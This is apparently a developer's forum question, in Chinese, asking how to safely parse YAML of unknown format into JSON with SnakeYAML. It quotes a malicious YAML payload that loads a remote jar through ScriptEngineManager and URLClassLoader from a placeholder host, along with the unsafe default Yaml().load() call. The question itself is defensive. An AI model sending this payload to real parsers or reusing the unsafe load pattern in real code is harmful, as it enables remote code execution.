目前有这么一个需求,需要解析一个不确定格式的 yaml 文件为 json 。但是如果 yaml 是恶意的,如
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://x.x.x.x/doSomething.jar"]
]]
]
通过 snakeyaml 方法解析
Yaml yaml = new Yaml(); //因为不能确定 yaml 具体格式,所以不能通过 Constructor 的方式避免漏洞
Object obj = yaml.load(yamlString);
此时就会有远程执行的问题 请教大家这个问题如何解决呢,通过参数校验 yaml 内容也不太好解决,因为可能 yaml 会有其他变形